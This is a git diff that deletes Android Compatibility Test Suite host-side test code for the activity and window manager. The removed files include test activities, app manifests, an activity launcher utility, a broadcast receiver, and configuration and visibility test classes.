- private HashMap<Surface, VirtualDisplayEntry> mVirtualDisplays;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.virtual_display_layout);
-
- mVirtualDisplays = new HashMap<>();
- mPendingDisplayRequests = new HashMap<>();
- mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
- }
-
- @Override
- protected void onNewIntent(Intent intent) {
- super.onNewIntent(intent);
- final Bundle extras = intent.getExtras();
- if (extras == null) {
- return;
- }
-
- String command = extras.getString("command");
- switch (command) {
- case "create_display":
- createVirtualDisplay(extras);
- break;
- case "destroy_display":
- destroyVirtualDisplays();
- break;
- case "resize_display":
- resizeDisplay();
- break;
- }
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- destroyVirtualDisplays();
- }
-
- private void createVirtualDisplay(Bundle extras) {
- final int requestedCount = extras.getInt(KEY_COUNT, 1);
- Log.d(TAG, "createVirtualDisplays. requested count:" + requestedCount);
-
- for (int displayCount = 0; displayCount < requestedCount; ++displayCount) {
- final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
- final SurfaceView surfaceView = new SurfaceView(this);
- surfaceView.setLayoutParams(new ViewGroup.LayoutParams(
- ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
- surfaceView.getHolder().addCallback(this);
- mPendingDisplayRequests.put(surfaceView.getHolder().getSurface(),
- new VirtualDisplayRequest(surfaceView, extras));
- root.addView(surfaceView);
- }
- }
-
- private void destroyVirtualDisplays() {
- Log.d(TAG, "destroyVirtualDisplays");
- final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
-
- for (VirtualDisplayEntry entry : mVirtualDisplays.values()) {
- Log.d(TAG, "destroying:" + entry.display);
- entry.display.release();
- root.removeView(entry.surfaceView);
- }
-
- mPendingDisplayRequests.clear();
- mVirtualDisplays.clear();
- }
-
- @Override
- public void surfaceCreated(SurfaceHolder surfaceHolder) {
- final VirtualDisplayRequest entry =
- mPendingDisplayRequests.remove(surfaceHolder.getSurface());
-
- if (entry == null) {
- return;
- }
-
- final int densityDpi = entry.extras.getInt(KEY_DENSITY_DPI, DEFAULT_DENSITY_DPI);
- final boolean resizeDisplay = entry.extras.getBoolean(KEY_RESIZE_DISPLAY);
- final String launchActivityName = entry.extras.getString(KEY_LAUNCH_TARGET_ACTIVITY);
- final Surface surface = surfaceHolder.getSurface();
-
- // Initially, the surface will not have a set width or height so rely on the parent.
- // This should be accurate with match parent on both params.
- final int width = surfaceHolder.getSurfaceFrame().width();
- final int height = surfaceHolder.getSurfaceFrame().height();
-
- int flags = 0;
-
- final boolean canShowWithInsecureKeyguard
- = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
- if (canShowWithInsecureKeyguard) {
- flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
- }
-
- final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
- if (publicDisplay) {
- flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
- }
-
- Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
- + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
- + ", publicDisplay=" + publicDisplay);
- try {
- VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
- "VirtualDisplay" + mVirtualDisplays.size(), width,
- height, densityDpi, surface, flags);
- mVirtualDisplays.put(surface,
- new VirtualDisplayEntry(virtualDisplay, entry.surfaceView, densityDpi,
- resizeDisplay));
- if (launchActivityName != null) {
- final int displayId = virtualDisplay.getDisplay().getDisplayId();
- Log.d(TAG, "Launch activity after display created: activityName="
- + launchActivityName + ", displayId=" + displayId);
- launchActivity(launchActivityName, displayId);
- }
- } catch (IllegalArgumentException e) {
- final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
- // This is expected when trying to create show-when-locked public display.
- root.removeView(entry.surfaceView);
- }
-
- }
-
- @Override
- public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
- final VirtualDisplayEntry entry = mVirtualDisplays.get(surfaceHolder.getSurface());
-
- if (entry != null && entry.resizeDisplay) {
- entry.display.resize(width, height, entry.density);
- }
- }
-
- @Override
- public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
- }
-
- /** Resize virtual display to half of the surface frame size. */
- private void resizeDisplay() {
- final VirtualDisplayEntry vd = (VirtualDisplayEntry) mVirtualDisplays.values().toArray()[0];
- final SurfaceHolder surfaceHolder = vd.surfaceView.getHolder();
- vd.display.resize(surfaceHolder.getSurfaceFrame().width() / 2,
- surfaceHolder.getSurfaceFrame().height() / 2, vd.density);
- }
-
- private void launchActivity(String activityName, int displayId) {
- final Bundle extras = new Bundle();
- extras.putBoolean("launch_activity", true);
- extras.putString("target_activity", activityName);
- extras.putInt("display_id", displayId);
- ActivityLauncher.launchActivityFromExtras(this, extras);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
deleted file mode 100644
index 6ef25e2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.cts.verifier.vr.MockVrListenerService;
-
-/**
- * Activity that is able to create and destroy a virtual display.
- */
-public class VrTestActivity extends Activity {
- private static final String TAG = "VrTestActivity";
- private static final boolean DEBUG = false;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- if (DEBUG) Log.i(TAG, "onCreate called.");
- super.onCreate(savedInstanceState);
- try {
- setVrModeEnabled(true, new ComponentName(this, MockVrListenerService.class));
- } catch (PackageManager.NameNotFoundException e) {
- Log.e(TAG, "Could not set VR mode: " + e);
- }
- }
-
- @Override
- protected void onResume() {
- if (DEBUG) Log.i(TAG, "onResume called.");
- super.onResume();
- }
-
- @Override
- public void onWindowFocusChanged(boolean hasFocus) {
- if (DEBUG) Log.i(TAG, "onWindowFocusChanged called with " + hasFocus);
- super.onWindowFocusChanged(hasFocus);
- }
-
- @Override
- protected void onPause() {
- if (DEBUG) Log.i(TAG, "onPause called.");
- super.onPause();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
deleted file mode 100644
index 63e11d5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class WallpaperActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
deleted file mode 100644
index 15b55f5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.tools;
-
-import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
-
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Bundle;
-import android.server.cts.TestActivity;
-import android.util.Log;
-
-/** Utility class which contains common code for launching activities. */
-public class ActivityLauncher {
- private static final String TAG = ActivityLauncher.class.getSimpleName();
-
- public static void launchActivityFromExtras(final Context context, Bundle extras) {
- if (extras == null || !extras.getBoolean("launch_activity")) {
- return;
- }
-
- Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
-
- final Intent newIntent = new Intent();
- final String targetActivity = extras.getString("target_activity");
- if (targetActivity != null) {
- final String extraPackageName = extras.getString("package_name");
- final String packageName = extraPackageName != null ? extraPackageName
- : context.getApplicationContext().getPackageName();
- newIntent.setComponent(new ComponentName(packageName,
- packageName + "." + targetActivity));
- } else {
- newIntent.setClass(context, TestActivity.class);
- }
-
- if (extras.getBoolean("launch_to_the_side")) {
- newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
- if (extras.getBoolean("random_data")) {
- final Uri data = new Uri.Builder()
- .path(String.valueOf(System.currentTimeMillis()))
- .build();
- newIntent.setData(data);
- }
- }
- if (extras.getBoolean("multiple_task")) {
- newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
- }
- if (extras.getBoolean("new_task")) {
- newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- }
-
- if (extras.getBoolean("reorder_to_front")) {
- newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
- }
-
- ActivityOptions options = null;
- final int displayId = extras.getInt("display_id", -1);
- if (displayId != -1) {
- options = ActivityOptions.makeBasic();
- options.setLaunchDisplayId(displayId);
- newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- }
-
- try {
- context.startActivity(newIntent, options != null ? options.toBundle() : null);
- } catch (SecurityException e) {
- Log.e(TAG, "SecurityException launching activity");
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
deleted file mode 100644
index c00f2b6..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.debuggable">
-
- <!--
- * Security policy requires that only debuggable processes can be profiled
- * which is tested by ActivityManagerAmProfileTests.
- -->
- <application android:debuggable="true">
- <activity android:name=".DebuggableAppActivity"
- android:resizeableActivity="true"
- android:exported="true" />
- </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
deleted file mode 100644
index 504ffcf..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.debuggable;
-
-import android.app.Activity;
-
-public class DebuggableAppActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
deleted file mode 100644
index 7727759..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.displaysize.app">
-
- <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-
- <!-- Set a ridiculously high value for required smallest width. Hopefully
- we never have to run CTS on Times Square display. -->
- <supports-screens android:requiresSmallestWidthDp="100000" />
-
- <application>
- <activity android:name=".SmallestWidthActivity"
- android:exported="true" />
- </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
deleted file mode 100644
index 5da44c7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.displaysize.app;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class SmallestWidthActivity extends Activity {
-
- @Override
- protected void onNewIntent(Intent intent) {
- super.onNewIntent(intent);
-
- final Bundle extras = intent.getExtras();
- if (extras != null && extras.getBoolean("launch_another_activity")) {
- Intent startIntent = new Intent();
- startIntent.setComponent(
- new ComponentName("android.server.cts", "android.server.cts.TestActivity"));
- startActivity(startIntent);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
deleted file mode 100644
index 53aa2d4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.second">
-
- <application>
- <activity
- android:name=".SecondActivity"
- android:resizeableActivity="true"
- android:allowEmbedded="true"
- android:exported="true" />
- <activity
- android:name=".SecondActivityNoEmbedding"
- android:resizeableActivity="true"
- android:allowEmbedded="false"
- android:exported="true" />
- <receiver
- android:name=".LaunchBroadcastReceiver"
- android:enabled="true"
- android:exported="true" >
- <intent-filter>
- <action android:name="android.server.cts.second.LAUNCH_BROADCAST_ACTION"/>
- </intent-filter>
- </receiver>
- </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
deleted file mode 100644
index a8ebb86..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.second;
-
-import android.app.ActivityOptions;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-/** Broadcast receiver that can launch activities. */
-public class LaunchBroadcastReceiver extends BroadcastReceiver {
- private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
-
- @Override
- public void onReceive(Context context, Intent intent) {
- final Bundle extras = intent.getExtras();
- final Intent newIntent = new Intent();
-
- final String targetActivity = extras != null ? extras.getString("target_activity") : null;
- if (targetActivity != null) {
- String packageName = extras.getString("package_name");
- newIntent.setComponent(new ComponentName(packageName,
- packageName + "." + targetActivity));
- } else {
- newIntent.setClass(context, SecondActivity.class);
- }
-
- ActivityOptions options = ActivityOptions.makeBasic();
- int displayId = extras.getInt("display_id", -1);
- if (displayId != -1) {
- options.setLaunchDisplayId(displayId);
- newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
- } else {
- newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- }
-
- try {
- context.startActivity(newIntent, options.toBundle());
- } catch (SecurityException e) {
- Log.e(TAG, "SecurityException launching activity");
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
deleted file mode 100644
index cea9ed5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.second;
-
-import android.app.Activity;
-
-public class SecondActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
deleted file mode 100644
index 543e008..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.second;
-
-import android.app.Activity;
-
-public class SecondActivityNoEmbedding extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
deleted file mode 100644
index aed24c7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.third">
-
- <application>
- <activity android:name=".ThirdActivity"
- android:resizeableActivity="true"
- android:allowEmbedded="true"
- android:exported="true" />
- </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
deleted file mode 100644
index eeddc3d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.third;
-
-import android.app.Activity;
-
-public class ThirdActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
deleted file mode 100644
index add7e42..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.StateLogger.log;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityAndWindowManagerOverrideConfigTests
- */
-public class ActivityAndWindowManagerOverrideConfigTests extends ActivityManagerTestBase {
- private static final String TEST_ACTIVITY_NAME = "LogConfigurationActivity";
-
- private class ConfigurationChangeObserver {
- private final Pattern mConfigurationChangedPattern =
- Pattern.compile("(.+)Configuration changed: (\\d+),(\\d+)");
-
- private ConfigurationChangeObserver() {
- }
-
- private boolean findConfigurationChange(String activityName, String logSeparator)
- throws DeviceNotAvailableException, InterruptedException {
- int tries = 0;
- boolean observedChange = false;
- while (tries < 5 && !observedChange) {
- final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
- log("Looking at logcat");
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- log(line);
- Matcher matcher = mConfigurationChangedPattern.matcher(line);
- if (matcher.matches()) {
- observedChange = true;
- break;
- }
- }
- tries++;
- Thread.sleep(500);
- }
- return observedChange;
- }
- }
-
- public void testReceiveOverrideConfigFromRelayout() throws Exception {
- if (!supportsFreeform()) {
- CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support freeform. Skipping test.");
- return;
- }
-
- launchActivityInStack(TEST_ACTIVITY_NAME, FREEFORM_WORKSPACE_STACK_ID);
-
- setDeviceRotation(0);
- String logSeparator = clearLogcat();
- resizeActivityTask(TEST_ACTIVITY_NAME, 0, 0, 100, 100);
- ConfigurationChangeObserver c = new ConfigurationChangeObserver();
- final boolean reportedSizeAfterResize = c.findConfigurationChange(TEST_ACTIVITY_NAME,
- logSeparator);
- assertTrue("Expected to observe configuration change when resizing",
- reportedSizeAfterResize);
-
- logSeparator = clearLogcat();
- setDeviceRotation(2);
- final boolean reportedSizeAfterRotation = c.findConfigurationChange(TEST_ACTIVITY_NAME,
- logSeparator);
- assertFalse("Not expected to observe configuration change after flip rotation",
- reportedSizeAfterRotation);
- }
-}
-
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
deleted file mode 100644
index c51f24a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ /dev/null
@@ -1,404 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.StateLogger.logE;
-
-import android.platform.test.annotations.Presubmit;
-
-import java.lang.Exception;
-import java.lang.String;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerActivityVisibilityTests
- */
-public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
- private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
- private static final String PIP_ON_PIP_ACTIVITY = "LaunchPipOnPipActivity";
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String TRANSLUCENT_ACTIVITY_NAME = "TranslucentActivity";
- private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
- private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
- private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
- private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
-
- private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
- private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
